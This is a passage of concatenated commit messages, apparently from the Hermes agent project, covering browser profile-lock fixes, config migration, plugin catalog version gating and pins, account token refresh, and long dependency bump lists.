Chromium (seen from the host CLI, or the reverse) writes its own namespace's pid: the attach failed
and the launch that followed wiped the running browser's DevToolsActivePort and started a second
Chromium on the same user-data-dir. A lock that is not a live local process naming the dir, and
was written under another hostname or names a launch record from another PID namespace, now marks
a foreign holder: its endpoint (DevToolsActivePort + /json/version) is attached and leased as
usual, never adopted, stopped or reaped from here (liveness is that endpoint); when it does not
answer, the launch fails with an error naming the profile dir instead of launching over it. A
lock of this hostname with no foreign record stays stale, as Chromium itself treats it.
cleanup_all_browsers (gateway shutdown, atexit) ran every teardown in the launch profile's scope,
unlike the janitor: a multiplexed profile's cloud session was closed through the launch profile's
provider (usually none), so it stayed open and billing until the provider's own timeout. Each
session is now torn down under its recorded owner home and secret scope.
A pid recurs across PID namespaces and boots, and records of earlier containers are kept (their pids cannot
be judged from here). Every match now compares the full launch identity: profile realpath, pid, start time and
the record (whose name carries namespace + boot); a browser of another environment is bound by the DevTools
browser id its endpoint serves, which every launch record now carries once the browser is up.

- attach leases the record describing THIS launch, not the first record on the pid number (an earlier
  container's record no longer hides the attacher from the live browser's owner)
- _heir_key: two same-pid browsers of two containers are no longer one browser, so stopping one key drops
  its own lease
- _tracked_browser, _adopt_record, _last_holder_out, _foreign_record_names compare the same identity
- other_live_holders drops a lease naming another start time from any namespace that knew it
A live Chromium whose DevTools endpoint stops answering for a while (SIGSTOP, a debugger, a swapped-out host)
still holds its profile singleton. The shared-profile start treated "endpoint did not answer" as "no browser"
and launched a second one: that launch wiped the live browser's DevToolsActivePort and exited on the
singleton, so after the browser resumed every later attach failed with "SingletonLock exists".

A live holder of this environment (its SingletonLock names a live process whose argv carries the profile) is
now waited for with backoff (up to 10 s, or the launch timeout when shorter), then refused with a clear "not
responding" error. Its profile dir and DevToolsActivePort are never prepared or deleted; a stale lock (dead
pid) still launches as before.
A Hermes process that attached to a crashed owner's shared browser through another spelling of the profile
(/alias -> /profile) took the launch record over by rewriting it with its own path. The reaper verifies an
orphan by comparing the recorded path with Chromium's --user-data-dir argv using normpath only, so once the
adopter crashed too the browser was unverifiable: reaped=0, Chromium left running, its only record deleted.

Adoption now changes only the owner fields and keeps the launch as recorded, and the argv check compares
realpaths like every other profile-identity check in the launcher.
A local browser_exec call (hybrid ::local sidecar, cloud fallback, real profile) was labelled by re-reading
browser.engine after the call. A session created before the engine changed (a routed profile re-reads config
every call), or the real-profile Chromium, could therefore be counted as Lightpanda, and a Lightpanda session
as Chromium.

The route now carries the engine of the session it actually ran on ("local" or "lightpanda"; the real profile
is always Chromium) into the metrics label instead of reconstructing it from configuration.
The runtime reads only browser.* now and the AGENT_BROWSER_* -> browser.* move
lived only in the versioned v52 config step, so three kinds of home lost their
engine, headed mode and persistent profile without a word: a missing
config.yaml (reads as current), an unstamped one (boot skipped it as below the
support floor) and one first stamped by an ordinary save before any migration.

The move is now done once, at the home's first stamp:
- note_first_stamp (every save_config first stamp, and left-core's created
  file) moves the settings along with the left-core rows it already records;
- stamp_missing_config creates config.yaml with that first stamp when a
  missing config's .env still carries them, before the missing-config shortcut
  in boot (post_update.step_migrate_config), migrate_config and the Docker
  entrypoint;
- boot migrates an unstamped config whose .env still carries them through
  migrate_config (legacy-key steps, v52 among them, then the stamp); other
  unstamped configs are left alone as before.

The conversion reuses the v52 step's code (move_agent_browser_env) and only
ever runs while a home is unstamped or missing, so a retained .env never
overrides a later config edit.
install.sh --skip-browser / --no-playwright and install.ps1 -SkipBrowser
now hand PM `--without agent-browser` again instead of `--without chromium`.

The downloaded installer is the newest script, but by default it installs
the stable tag, whose PM (v0.22.5) rejects `--without chromium` with
"--without accepts only optional default packages (agent-browser,
cua-driver)" and exits 1, failing the whole install. The new PM already
reads `agent-browser` as `chromium` (pm.defaults.RETIRED_DEFAULTS), so the
legacy spelling works against both the stable tag and main. Direct
`hermes pm install --without chromium` stays valid on the new PM.
post_update now imports hermes_cli/config_version_stamp.py (it converts legacy
AGENT_BROWSER_* settings before stamping), so a change to it must start the
e2e_upgrade lane like every other module the update path imports.
Browser automation runs on browser_exec only; agent-browser and the built-in browser tools are gone (Camofox moves to a plugin)
The catalog entry's requires_hermes was display-only: `hermes plugins
install <name>` cloned and published a pin the catalog says needs a newer
Hermes, and `hermes plugins update` re-pinned an installed plugin onto it.
Only the plugin's own plugin.yaml floor was checked, and only at load.

- install_catalog_entry (the one seam every install by catalog name goes
  through: CLI, dashboard/Desktop/TUI plugins.manage, `hermes setup`'s
  importer step, the left-core and memory-provider auto-installs) refuses
  with "<plugin> needs Hermes <spec>; this is <version>. Update Hermes
  (`hermes update`) and install again." before any clone. The connector
  card's pre-check uses the same function.
- repin_catalog_plugin (every catalog update) keeps the installed pin and
  says the update is available after updating Hermes; `hermes plugins
  update` with no name lists such a plugin as held instead of applying it,
  and check-updates marks it.
- `hermes plugins search` / `info` still list incompatible entries,
  marked as needing a newer Hermes.

Portable packages (plugin.json) have no version field, so the catalog
entry's requires_hermes is their only floor; the gate is kind-agnostic and
covers them (tested), and the agent_plugins comment and docs say so.

The verdict is plugins_manifest.requires_hermes_error itself (same
running_hermes_version + version_satisfies), so a dev checkout, canary
build or tagless checkout is judged exactly as the plugin.yaml gate judges
it. No override flag.
plugin.json accepts `version`; what it has no field for is a Hermes floor. Review feedback on the portable-package wording.
Pins NousResearch/hermes-official-plugins#camofox at 190593f4 (the merge of
hermes-official-plugins#161). Completes the left-core auto-migration from #143146,
which installs the camofox plugin by catalog name.
vercel 0.12 moved the sandbox client from httpx to httpx2, whose exceptions do not
subclass httpx's. Connection, protocol and read errors from the new transport carry no
status code and matched none of the classifier's names, so sandbox create/restore/write
calls stopped retrying them. Classify both stacks' transport errors as transient.
chore(deps): bump Python dependencies to latest minor/patch releases
Every write of the shared Nous store recorded a guest-to-account move,
including routine token refreshes. When one profile logged out and then
minted a free-tier guest, another profile's keepalive refresh of the
account overwrote that guest, recorded a move of the guest's apps into
the account, and left the account in the store for the logged-out
profile to adopt again.

Each caller of _write_shared_nous_state now declares renewal. A
renewal (a token refresh) writes only over the identity the store
already holds, compared by the guest's anon_ credential or the
account's JWT sub, which survives a refresh. Sign-ins and mints still
replace whatever the store holds, so only a sign-in can record a move.
An empty store still takes a refresh, so profiles sharing one account
keep their rotating refresh token in step.
Review follow-up. With the previous commit, a refresh of account A
over a guest in the shared store wrote nothing. Profiles that share
A's single-use refresh token learn each rotation from that store, so
the next sibling to refresh reused a spent token and was signed out.

A renewal of another identity is now kept beside the held identity
under "renewal". The merge before a refresh reads it when it is the
profile's own identity. A write that keeps the store's identity (the
guest's own token refresh) carries it forward; a sign-in replaces the
whole store; adopting the guest from the store drops it.
A restored or migrated pending-input queue sorts by createdAt. useQueue made
createdAt strictly increasing only within one session's queue, so an input
queued on the old session and one queued on its successor in the same
millisecond tied, and a resume that merged the two queues ordered them by
their random submission UUIDs (readdir order). That is the intermittent
pendingMigrationRenderer red on CI (waiting / already next swapped).

createdAt now comes from one process-wide monotonic clock, so every queue's
inputs stay strictly ordered across sessions.
Updates the SHA pin from 976cb9a (0.3.0) to c929b80 (0.3.1), which includes:
- Hermes v0.22.3 re-pin and bounded PyYAML floor (PR #19)
- Host 503 "Restart required" guard classification with actionable message (PR #20)
- Cache-hit and /models path fix for the restart category (review fix)

Version bumped from 0.3.0 to 0.3.1. Screenshots re-pinned to the new SHA
(same image files, same paths).
The container image keeps PM's tool store inside the `tools` Python package
directory (/opt/hermes/tools: interpreter, Chromium, ffmpeg, node, uv). The
build snapshot copies every package root whole, so each generation built on
the data volume (a plugin enable, a lazy extra, the boot-time refresh) carried
~1.5 GB of binaries nothing builds from, and an enable briefly held two such
generations (~3 GB) before the old one was collected.

Skip the entries a store's facts.json records as published (plus hash-keyed
fetch caches) when copying core inputs. A directory with no store facts is
copied as before.
Dependency activation is a boot decision: a gateway or dashboard running when
`hermes plugins enable` commits a new generation keeps the one it booted with.
Enable still nudged that gateway to reload, then reported "Gateway reloaded
plugins; nothing of this plugin needs a session or restart" while the plugin
failed to import its dependency there (a terminal backend then fails with
"No module named '<dep>'"), and discovery told the user to run
`hermes pm repair`, which changes nothing.

The activation summary now carries `missing_dependencies` read in the process
that loaded the plugin (the gateway, for its reload answer); `restart_required`
is set when this process or the gateway lacks them, and the CLI hint and the
discovery warning say restart when the selected generation carries the
dependency (repair only when it does not).
PM never installs a requirement whose environment marker excludes this
interpreter (pywin32; sys_platform == "win32" on Linux), so reporting it
made every enable demand a restart or repair that could never help.
Three gaps in the restart notice, found in review of #143404:

- A plugin importing its dependency at module load fails to load in a
  gateway booted before the install, so it had no activation summary and
  enable still printed "nothing of this plugin needs a session or
  restart". The gateway's reload answer and the in-process go-live now
  carry a dependency-blocked entry for it (dependency_blocked_summaries),
  kept out of the on_plugin_loaded payload since nothing of it loaded.
- PluginActivation (extra="forbid") did not declare missing_dependencies,
  so every plugins.manage reply carrying it violated the wire contract.
  Declared + regenerated the shared contract.
- The presence probe ignored versions: a running process holding x 1.2
  satisfied x>=1.3 after a plugin update raised the floor. It now checks
  the requirement's specifier, in this process and in the selected
  generation.

The restart line also names the process that answered: the messaging
gateway, or the desktop app / dashboard when only the serve backend did.
activate_plugin_now merged the gateway's and the Desktop/dashboard
backend's missing dependencies into one list, and the hint picked its
restart line from whether the gateway answered. A backend booted before
the install beside a gateway restarted since then got "hermes gateway
restart", which leaves the backend unable to load the plugin.

The activation now records which processes reported the gap
(missing_in: gateway / backend, declared on PluginActivation) and the
hint prints one restart line per process.
missing_python_dependencies read only manifest.python_dependencies, but PM
admission installs from read_python_declaration: an authored pyproject.toml
first, then python_dependencies / the legacy pip_dependencies alias, and
nothing for a python_runtime: external sidecar. So a pyproject or
pip_dependencies plugin that failed on its new dependency still got "nothing
of this plugin needs a session or restart", and a loaded external-runtime
plugin was told to run hermes pm repair and restart, which can never install
what PM deliberately keeps out of Hermes's environment.

The probe now asks PM's declaration reader (manifest list only for an
entry-point plugin with no directory), and discovery's warning drops its
manifest-only early return. Live, real gateway over its control socket:
pyproject / pip_dependencies eager-import plugins now report
restart_required=True; a loaded external plugin reports False.
sha b70f2097 -> 449e754 (release tag 2.0.2), platforms += windows,
description updated for the platform-split bootstrap and the
TeX-only-for-pdf-output requirement.
Three read-only tools over the Windows Event Log for crash forensics:
win_crash_events (Application Error / Hang / WER / .NET records with decoded
exception codes and grouping), win_shutdown_events (Kernel-Power 41, bugchecks,
6008, 1074, boot markers) and win_eventlog_query (any channel, structured
filters). Stdlib-only wevtapi via ctypes: no dependencies, no child processes,
no network, no file writes.

Validated against Windows 11 / Python 3.13: 30 tests passed (24 unit, 6 live),
the admission validator on the pinned tarball (15 checks pass, security scan
safe, no core override, zero warnings), and the repo's catalog validator.
One read-only tool over the Windows TCP/UDP owner tables: returns local and
established endpoints with the owning PID, image name and path, filtered by
port, process, protocol and state. Structured JSON instead of localized
netstat output. Stdlib-only ctypes: no sockets opened, no child processes,
no network, no file writes.

Validated against Windows 11 / Python 3.13: 14 tests passed (12 unit, 2 live),
the admission validator on the pinned tarball (15 checks pass, security scan
safe, no core override, zero warnings), and the repo's catalog validator.
The entry framed the plugin as a fix for localized netstat output. The
header block is localized but the data rows are ASCII, so that premise does
not hold. The description now makes the case on what a caller actually pays:
one in-process call instead of a shell parse plus a PID-to-image join, no
child process per call, and no dependence on PowerShell being installed or
permitted by execution policy. Plugin code and pin are unchanged.
sha b81f060 (tag v0.17.9): the fact_store origin argument says what leaving it
out does. Tool description and README only; nothing stored or recalled changes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The pinned sha installs an older skill that curls api.greyridgesignals.ai, which
Cloudflare bot-challenges (403) from some datacenter ASNs — where agents run.
Bump to sha 3a7848e, which points every request URL at the workers.dev origin
(serves 200 from every host tested) and repoint the disclosure URL to match.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
Re-pins the entry from 61b5e24 (0.1.0) to 61ffdaa (0.3.3), discloses the Connect GitLab step
and drops two screenshots.

The public repo has its own history (it is built from an internal tree, not mirrored), and
nothing made the re-pin a release step, so the entry sat two releases behind: installing from
the catalogue gave the 0.1.0 page. Releases now publish and rewrite the catalogue together and
refuse to publish a tree whose plugin.yaml disagrees with the version being released.

0.3.3 is the release this entry needed to describe honestly. Its Connect GitLab step used to
offer every login it could find on the machine, including another profile's .env file and the
glab CLI's own config - credential stores a plugin must not read (rule 11), even though the
write half always went through Hermes' own settings and .env writers. The step now offers this
profile's environment through Hermes' secret scope, the host the gitlab-mr plugin names, or a
host and token typed on the page, and still writes the token through the .env credential route
as OPERATIONS_GITLAB_TOKEN without ever returning it. The description says that, and says no
other credential store is read.

topology.png and conformance.png are removed rather than replaced. They were taken from a
working install and showed the author's own fleet - hostnames, profile names, local model
names, role aliases, and a conformance standard's project, commit and dates. The entry keeps
card.png and overview.png, which are charts and counts only.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Adds the 1200x600 catalog card (docs/card.png) and re-pins sha and
screenshot URLs to e502204, which only adds docs/card.png and its
HTML source; the reviewed plugin code is identical to 9b25c6f.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A macOS-style quick switcher for Hermes profiles in the Desktop app:
one chord opens a panel of every profile with its model and most recent
conversation, and lands you in the one you pick.

Desktop-only (desktop/plugin.js inside the plugin SDK surface); no agent
tools, hooks, middleware, env vars, or credentials.
Flattens the plugin to the repo root so the Desktop app's 'Install from
source' dialog finds desktop/plugin.js (it only scans the repo root), and
drops the now-unneeded subdir.
Adds the hold-Ctrl+Alt-tap-Tab gesture — the Alt+Tab interaction on the
closest chord the OS leaves to applications — plus the request coalescing
and teardown fixes behind it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Reka's model-provider plugin, reka-ai/reka-hermes@df031f732c (1.0.3).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Settings page layout and three languages. The quota board is unchanged.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Read-only paid-media analysis for Google Ads, Meta (Facebook) Ads,
Microsoft Ads, LinkedIn Ads, GA4, Search Console and Merchant Center.
Portable Agent Plugins v1 package from HYPD-AI/hypd-hermes-plugin,
pinned to v1.0.0 (819c28303e4c8a71444c93d78789b7df3abdc68e).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Maintainer copy of the author's final YAML from #142189 (their fork does not accept maintainer pushes).
Maintainer copy of the author's final YAML from #142744 (their fork does not accept maintainer pushes).
Maintainer copy of the author's final YAML from #143403 (their fork does not accept maintainer pushes).
Maintainer copy of the author's final YAML from #143445 (their fork does not accept maintainer pushes).
Maintainer copy of the author's final YAML from #142650 (their fork does not accept maintainer pushes).
The repository's history was rewritten after this entry merged (force-push to
replace the author address with GitHub's noreply form). Content is unchanged:
same six files at identical sizes.

The previous pin is no longer reachable from any branch. This repins to the
current main tip, which is also well past the two-week pin maturity the policy
asks for.

No functional change for installers: `hermes plugins install owner/repo`
clones the default branch tip and does not check out the pin. This is catalog
accuracy.
sha e730fba (v3.2.0); version, docs_url, image and screenshots pinned to it.
Disclosure unchanged: same files read, no network or LLM calls, no tools, hooks, middleware or env vars.
claude-subscription-directsdk: summarized thinking display + thinking-only
guard (official #32, fixes official #45) and host-streaming opt-in (#31).
hermes-memory-wiki: opt-in native Desktop page (official #151).
subprocess.Popen returns once exec has begun (vfork release / CLOEXEC
pipe close), before the kernel sets the new image's arg/env range in
create_elf_tables, so /proc/<pid>/cmdline briefly reads empty. The
unmapped-gateway readiness tests read the stub's cmdline (the recorded
argv, or the candidate's live argv) right after spawn, so ~1-3% of reads
saw [] and the predicate correctly refused to match: CI run 39989014051
failed test_a_recorded_but_empty_home_is_never_matched_only_a_pre_home_entry_is
with `assert [] == [268671]`.

Both spawn fixtures now return only once the child's argv is published,
which is the state the tests model (a running gateway). Assertions are
unchanged; the identity fixture's comment claiming the argv is in place
when Popen returns is corrected.
The free tier's apps move into a signed-in account with one claim right
after the save; a transient failure retries a few times on later runs.
Removed: the paused state and destination binding, the 13-day retry
window and 7-step ladder, re-arming of old Failed records, corrupt-file
healing, the claim lock held across sleeps and the in-budget retry loop,
deferred() and the auth-lock probe, and the worker's cross-profile scope
switching. Each sign-in surface now calls drain() after its save,
outside its locks. A lease on the record replaces the claim lock, so two
runs never send the same record.

Result copy shows app display names (Gmail, Linear) instead of slugs.
- A late answer from an attempt whose lease expired no longer overwrites
  a claimed, gone or failed record. Before, it could reopen a gone record
  that had already dropped its credential, and the next run then crashed.
- A busy auth-store lock while minting the account token now leaves the
  move for a later run, like a missing token, instead of turning an
  already-saved sign-in into a failure.
- The retry worker binds its own launch profile on each tick once the
  process serves several profiles, as every background worker must.
Three sign-in bugs shared one premise: the result is a global dialog that
pops over whatever is on screen.

- First run: a Nous sign-in from the onboarding picker now shows the
  account and what moved on the confirm screen, before Begin. The deferred
  dialog that popped after onboarding left is gone, and so is the
  per-profile Reconnect link only that path used.
- Connector windows: the sign-in offer waits while an app window is open,
  and the window closes when a sign-in starts, so the two never stack.
- Connectors refresh: a finished sign-in, and a followed move once it
  settles, drop every cached connector read, so the page and an open
  window stop showing the free tier's apps.

followHandoff now takes the screen's liveness and publisher, so the
dialog and the onboarding confirm screen follow a moving handoff with the
same loop.
Plugins can put short text labels on Kanban card tiles through a new
KANBAN_CARD_AREAS.badges data contribution instead of inserting DOM into
the board. decorate(card) receives a frozen {id, status, tenant, assignee}
view and returns {label, tone?, tooltip?} (or a few, or null); the host
validates (text only, control/bidi chars stripped, length caps, palette
tones), orders by plugin id then contribution id (contribution order is
ignored), caps at two badges per plugin per card, attributes each badge to
its plugin in the tooltip, and paints them in a fixed row above the title.
Disposers and plugin unload remove them.

Refs #140026
decorate(card, board) now also gets a frozen { tenants } view (the list the
board's filter menu already shows), so a tenant-label plugin can assign
collision-free hues across the board the way kanban-tenant-labels does
today, instead of reading the Kanban plugin's query cache for it.
sdk/index.ts sits over the 2,000-line FILE_LINES target and may only
shrink; the viewport rect + resize listener is a self-contained topic,
so it moves to a sibling to make room for the next commit's host verb.
Plugins could only add rows to the composer's right-click menu by
injecting DOM into it and could only teach Chromium a word through the
raw window.hermesDesktop bridge (held catalog plugin #143059). The app
now owns both seams:

- COMPOSER_AREAS.contextMenu: a data contribution (`items(context)`)
  consulted only when the right-click lands in a composer. A provider
  sees two strings (word under the caret, composer selection), never an
  element or Range. The app renders rows with its own menu item, one
  section per plugin ordered by source id (code-point), capped at six
  rows per plugin, isolates throwing/garbage providers, runs the row
  after the menu closed, and drops a plugin's rows on unload (including
  from an open menu). The only edit offered is `replaceWord(text)`:
  replaces exactly the right-clicked word through Chromium's editing
  command, refuses once that word is no longer there, and banks the
  composer's own undo point so the swap is undoable.
- host.spellcheck.addWord/removeWord: one IPC channel the app owns
  (hermes:spellcheck:dictionary) that accepts one bounded word (letters,
  marks, digits, inner '/-; <= 64 chars) and calls the sender session's
  add/removeWordToSpellCheckerDictionary. No list/read API. The existing
  context-menu spell-check handlers move into the same module so main.ts
  shrinks.

The composer word-at-caret probe adapts the one in #143054.

Co-authored-by: thileman <44035903+thileman@users.noreply.github.com>
Review follow-up on the composer context-menu slot:
- a paste lands as its own text node, so the word under the caret is now
  read across adjacent text nodes (stopping at chips/line breaks) and
  replaceWord swaps the whole word, not the fragment;
- the word scan steps by code point, so letters outside the BMP stay in
  the word;
- the dictionary gate requires a letter/mark/digit at both edges, matching
  the documented 'inner apostrophes and hyphens'.
A named entry edited to another endpoint while its session is live must not resume with the new key at the old endpoint, and a live session reattached before its first turn must report the entry it runs rather than the adapter class.
One helper, session_provider_identity, now decides the identity every surface reports and persists for a custom-adapter session: the requested entry's name while that entry still serves the agent's base_url, else the endpoint's entry, else the adapter class. The gateway durable writer, both serve inventory paths, the TUI runtime config and the live-session identity use it, so an entry edited while its session runs no longer resumes with the new key at the old endpoint, and a live session reattached before its first turn reports the entry it runs. The session info projection drops its own copy of the override and resolves through the same helper in the session's profile.

The tests that exercise the requested-name path now write the entries they name, since the name only holds while its entry exists and serves the endpoint.
With an endpoint known, session_provider_identity now asks only who owns that endpoint (a configured entry, else the managed server). The model and config fallbacks of canonical_custom_identity found an entry that had moved to a new URL with the same model, so the session was saved as that entry beside the old URL and resumed with the entry's new key at the old URL. Without an endpoint the fallbacks still apply. canonical_custom_identity keeps its behaviour; its endpoint lookup is now the shared _endpoint_identity.

Reported-by: Greptile
_scoped_session_provider sits next to _runtime_model_config, which it wraps, and is published onto the server namespace like the rest of agent_factory; server.py ends one line shorter than on main.

Reported-by: Greptile
_normalize_base_url_for_match lowercases the whole URL, so an entry edited from /TenantA/v1 to /tenanta/v1 still counted as serving the old URL: the session kept the entry's name and resumed with its new key at the old path. The requested-entry check, the endpoint-owner lookup (find_custom_provider_identity) and the managed-server check now compare through normalize_route_base_url, which folds only scheme and host case and a trailing slash, as session policies already do. Other users of _normalize_base_url_for_match are unchanged.

Reported-by: helix4u
@assistant-ui/react: 0.14.24 -> 0.14.29 (pins edited: 1; also: {'safe-content-frame': "['0.0.21']->['0.0.25']"})
@assistant-ui/react-streamdown: 0.3.5 -> 0.3.7 (pins edited: 1; also: {})
@babel/core: 8.0.1 -> 8.0.7 (pins edited: 2; also: {'@babel/code-frame': "['8.0.0', '8.0.0']->['8.0.6', '8.0.6']", '@babel/compat-data': "['8.0.0', '8.0.0']->['8.0.5', '8.0.5']", '@babel/generator': "['8.0.0', '8.0.0']->['8.0.6', '8.0.6']", '@babel/helper-compilation-targets': "['8.0.0', '8.0.0']->['8.0.7', '8.0.7']", '@babel/helper-globals': "['8.0.0', '8.0.0']->['8.0.6', '8.0.6']", '@babel/helper-string-parser': "['8.0.0', '8.0.0']->['8.0.6', '8.0.6']", '@babel/helper-validator-identifier': "['8.0.4', '8.0.4']->['8.0.6', '8.0.6']", '@babel/helpers': "['8.0.0', '8.0.0']->['8.0.7', '8.0.7']", '@babel/parser': "['8.0.4', '8.0.4']->['8.0.7', '8.0.7']", '@babel/traverse': "['8.0.4', '8.0.4']->['8.0.7', '8.0.7']", '@babel/types': "['8.0.4', '8.0.4']->['8.0.6', '8.0.6']", '@jridgewell/sourcemap-codec': "['1.5.5']->['1.6.0']"})
@chenglou/pretext: 0.0.6 -> 0.0.9 (pins edited: 1; also: {})
@codemirror/commands: 6.10.4 -> 6.11.1 (pins edited: 1; also: {})
@codemirror/language: 6.12.4 -> 6.13.1 (pins edited: 1; also: {})
@codemirror/state: 6.7.1 -> 6.7.6 (pins edited: 1; also: {})
@codemirror/view: 6.43.6 -> 6.43.14 (pins edited: 1; also: {})
@electron/rebuild: 4.2.0 -> 4.2.1 (pins edited: 1; also: {})
@icons-pack/react-simple-icons: 13.11.1 -> 13.15.1 (pins edited: 1; also: {})
@lezer/highlight: 1.2.3 -> 1.2.5 (pins edited: 1; also: {})
@nous-research/ui: 0.18.2 -> 0.19.1 (pins edited: 3; also: {})
@react-three/fiber: 9.6.1 -> 9.8.1 (pins edited: 1; also: {'its-fine': "['2.0.0']->['2.1.1']"})
@rolldown/plugin-babel: 0.2.3 -> 0.2.4 (pins edited: 2; also: {'picomatch': "['4.0.5']->['4.0.7']"})
@streamdown/math: 1.0.2 -> 1.0.3 (pins edited: 1; also: {})
@tanstack/react-query: 5.101.2 -> 5.104.1 (pins edited: 1; also: {'@tanstack/query-core': "['5.101.2']->['5.104.1']"})
@tanstack/react-virtual: 3.14.6 -> 3.14.13 (pins edited: 1; also: {'@tanstack/virtual-core': "['3.17.4']->['3.17.11']"})
@tauri-apps/api: 2.11.1 -> 2.12.2 (pins edited: 1; also: {})
@tauri-apps/cli: 2.11.4 -> 2.12.1 (pins edited: 1; also: {'@tauri-apps/cli-darwin-arm64': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-darwin-x64': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-linux-arm-gnueabihf': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-linux-arm64-gnu': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-linux-arm64-musl': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-linux-riscv64-gnu': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-linux-x64-gnu': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-linux-x64-musl': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-win32-arm64-msvc': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-win32-ia32-msvc': "['2.11.4']->['2.12.1']", '@tauri-apps/cli-win32-x64-msvc': "['2.11.4']->['2.12.1']"})
@tauri-apps/plugin-dialog: 2.7.1 -> 2.8.1 (pins edited: 1; also: {})
@tauri-apps/plugin-opener: 2.5.4 -> 2.7.0 (pins edited: 1; also: {})
@tauri-apps/plugin-process: 2.3.1 -> 2.4.0 (pins edited: 1; also: {})
@tauri-apps/plugin-shell: 2.3.5 -> 2.4.1 (pins edited: 1; also: {})
@testing-library/dom: 10.4.1 -> 10.4.2 (pins edited: 1; also: {})
@testing-library/react: 16.3.2 -> 16.3.3 (pins edited: 1; also: {})
@types/node: 22.20.1 -> 22.20.5 (pins edited: 3; also: {})
@types/react: 19.2.17 -> 19.3.0 (pins edited: 4; also: {})
@types/react-dom: 19.2.3 -> 19.3.0 (pins edited: 3; also: {})
bidi-js: 1.0.3 -> 1.1.0 (pins edited: 1; also: {})
bippy: 0.5.43 -> 0.7.3 (pins edited: 1; also: {})
blobatar: 2.0.0 -> 2.7.0 (pins edited: 1; also: {})
dbus-native: 0.15.2 -> 0.16.1 (pins edited: 1; also: {})
driver.js: 1.8.0 -> 1.9.0 (pins edited: 1; also: {})
electron-updater: 6.8.9 -> 6.8.10 (pins edited: 1; also: {})
esbuild: 0.28.1 -> 0.28.2 (pins edited: 3; also: {})
eslint-plugin-perfectionist: 5.10.0 -> 5.12.1 (pins edited: 1; also: {})
eslint-plugin-react-refresh: 0.5.3 -> 0.5.7 (pins edited: 1; also: {})
frimousse: 0.3.0 -> 0.4.0 (pins edited: 1; also: {})
get-east-asian-width: 1.6.0 -> 1.7.0 (pins edited: 1; also: {})
The esbuild 0.28.2 pin left tsx's ~0.28.0 range on a hoisted 0.28.1 copy, so the
lock carried both versions and the new nested copies had no allowScripts decision.
Updating within tsx's range collapses them to one 0.28.2 and moves the allowScripts pin.
- @babel/runtime: 7.29.7 -> 7.29.10
- @babel/types: 7.29.7 -> 7.29.8
- @bramus/specificity: 2.4.2 -> 2.4.3
- @codemirror/lang-html: 6.4.11 -> 6.4.12
- @codemirror/lang-liquid: 6.3.2 -> 6.3.3
- @codemirror/lang-markdown: 6.5.1 -> 6.5.2
- @codemirror/legacy-modes: 6.5.3 -> 6.5.5
- @csstools/color-helpers: 6.1.0 -> 6.1.2
- @csstools/css-syntax-patches-for-csstree: 1.1.6 -> 1.1.15
- @csstools/css-tokenizer: 4.0.0 -> 4.0.2
- @eslint-community/eslint-utils: 4.9.1 -> 4.10.1
- @exodus/bytes: 1.15.1 -> 1.16.0
- @lezer/common: 1.5.2 -> 1.5.3
- @lezer/css: 1.3.4 -> 1.3.9
- @lezer/java: 1.1.3 -> 1.1.5
- @lezer/javascript: 1.5.4 -> 1.5.6
- @lezer/lr: 1.4.10 -> 1.4.11
- @lezer/markdown: 1.7.2 -> 1.8.0
- @lezer/php: 1.0.5 -> 1.0.6
- @lezer/rust: 1.0.2 -> 1.0.3
- @marijn/find-cluster-break: 1.0.3 -> 1.0.4
- @mermaid-js/parser: 1.2.0 -> 1.2.1
- @noble/hashes: 2.2.0 -> 2.4.0
- @peculiar/asn1-schema: 2.8.0 -> 2.10.0
- @types/d3-geo: 3.1.0 -> 3.1.1
- @types/d3-selection: 3.0.11 -> 3.0.12
- @types/d3-shape: 3.1.8 -> 3.2.0
- @types/d3-zoom: 3.0.8 -> 3.0.9
- @ungap/structured-clone: 1.3.3 -> 1.4.0
- acorn: 8.17.0 -> 8.19.0
- ansi-regex: 6.2.2 -> 6.4.0
- baseline-browser-mapping: 2.11.27 -> 2.11.28
- cytoscape: 3.34.0 -> 3.34.3
- electron-to-chromium: 1.5.450 -> 1.5.452
- empathic: 2.0.1 -> 2.1.0
- enhanced-resolve: 5.24.2 -> 5.26.0
- entities: 8.0.0 -> 8.1.0
- es-module-lexer: 2.3.1 -> 2.3.2
- es-toolkit: 1.49.0 -> 1.52.0
- fs-extra: 11.4.0 -> 11.4.1
- lru-cache: 11.5.2 -> 11.5.3
- mdast-util-find-and-replace: 3.0.2 -> 3.0.3
- mdast-util-from-markdown: 2.0.3 -> 2.1.0
- mdast-util-gfm-strikethrough: 2.0.0 -> 2.0.1
- mdast-util-to-markdown: 2.1.2 -> 2.2.0
- micromark: 4.0.2 -> 4.0.3
- micromark-extension-gfm-table: 2.1.1 -> 2.1.2
- micromark-factory-space: 2.0.1 -> 2.1.0
- micromark-util-types: 2.0.2 -> 2.0.3
- motion-dom: 12.42.2 -> 12.43.0
- node-abi: 4.33.0 -> 4.37.0
- node-addon-api: 8.9.0 -> 8.9.2
- node-releases: 2.0.57 -> 2.0.58
- obug: 2.1.4 -> 2.2.1
- package-manager-detector: 1.7.0 -> 1.9.0
- react-colorful: 5.8.0 -> 5.8.1
- slice-ansi: 9.0.0 -> 9.0.1
- socks: 2.8.9 -> 2.8.10
- std-env: 4.2.0 -> 4.3.0
- string-width: 8.2.2 -> 8.3.0
- style-mod: 4.1.3 -> 4.1.4
- tinyexec: 1.2.4 -> 1.3.1
- tldts-core: 7.4.9 -> 7.4.18
- update-browserslist-db: 1.3.3 -> 1.3.4
